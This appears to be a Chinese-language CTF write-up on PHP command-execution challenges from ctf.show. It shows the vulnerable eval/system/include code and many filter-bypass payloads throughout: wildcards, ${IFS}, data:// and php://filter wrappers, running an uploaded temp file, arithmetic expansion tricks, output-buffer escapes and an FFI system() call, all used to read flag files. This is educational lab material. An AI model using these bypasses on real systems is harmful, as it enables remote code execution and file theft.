通配符 ' * ' 占位符' ? '
if(!preg_match("/flag/i", $c)
eval($c);
正则过滤flag字符,过滤大小写
几种绕过:
? ? ? ? ? ? ? /?c=system("tac")
在 PHP 中,(反引号`)是一个用于执行 shell 命令并返回其输出结果的语法糖。因此,当你在URL 中使用 echo `tac fla*` 时,PHP 将执行 shell 命令 tac fla* 并返回其输出结果。,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
%0a作用,这是url回车符,因为空格被过滤。
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4= base64内容(<?php system('cat flag.php');?>)
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
?c=data://text/plain,<?php%20system("tac%20fla?.php");?>
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
命令 | 介绍 |
command >filename | 把标准输出重定向到新文件中 |
command 1>filename | 同上 |
command >>filename | 把标准输出追加到文件中 |
command 1>>filename | 同上 |
command 2>filename | 把标准错误重定向到新文件中 |
command 2>>filename | 把标准错误追加到新文件中 |
>/dev/null 2>&1 就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
当然%0a和;可以绕过
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤空格,使用%09(TAB)进行绕过
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
还有几种绕过空格的方式 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt
flag屏蔽可以用分号 fla''g 反斜杠 fl\ag.txt
末尾使用||(截断符号)绕过
cat命令为查看,当程序禁用cat命令时,可采用以下命令代替:
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
使用 ?占位符
于是,有了payload
?c=/bin/ca?${IFS}????.??? 然后 查看源码
/?c=/bin/?at${IFS}t.txt
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
没有过滤点
.相当于source 可以执行sh命令
source命令也称为“点命令”,也就是一个点符号(.)。
source命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。
一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。
sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!
开淦
在这个之前我们需要构造一个post上传文件的数据包。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
创建html,之后网页抓包
构造poc执行命令
?c=.%20/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
然后在上传文件内容添加sh命令
#!/bin/sh
ls
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0
$(( ~$(()) )) :对0作取反运算,值为-1
$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2
$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1
故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
变为post了
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=show_source("flag.php");
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
题目相同但是
‘
藏别的目录去了
c=print_r(scandir("/"));先用scandir列根目录内容,用print_r回显。
也可以用这个c=var_dump(scandir('/'));
之后打印出根目录的falg.txt
http://4d916887-42e9-40de-9f52-90fedc2d079b.challenge.ctf.show/
读取函数readgzfile:可以读取非gz格式的文件
或者c=highlight_file('/flag.txt');
var_dump(scandir('/')); include "php://filter/convert.base64-encode/resource=/flag.txt";
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:
ob_flush();
ob_end_flush();
payload示例:
c=include('/flag.txt');ob_flush();
提前终止程序,即执行完代码直接退出,可以调用的函数有:
exit();
die();
payload示例:
c=include('/flag.txt');exit();
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
禁用了好多,扫不出来根目录内容了都
开绕
c=var_export(scandir('/'));exit(0); 成功绕过
c=print_r(scandir("/"));exit(0); 被禁用
c=var_dump(scandir('/'));exit(0); 被禁用
c=require_once('/flagc.txt');exit(0);
glob://
查找匹配的文件路径模式
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename());
}
于是构造如下payload
<?php
$a = new DirectoryIterator("glob:///*");
foreach ($a as $f)
{
echo ($f->__toString().' ');
}
exit(0);
?>
__toString()方法;
通过该方法,可以控制输出字符串的格式。该方法应当返回一个字符串值
当把对象传递print或者echo时,会自动调用该方法,
php中“.”是字符运算符,作用是把两个字符串连接起来
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显,所以将内容输出到1.txt
$ffi->system($a);//通过$ffi去调用system函数
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);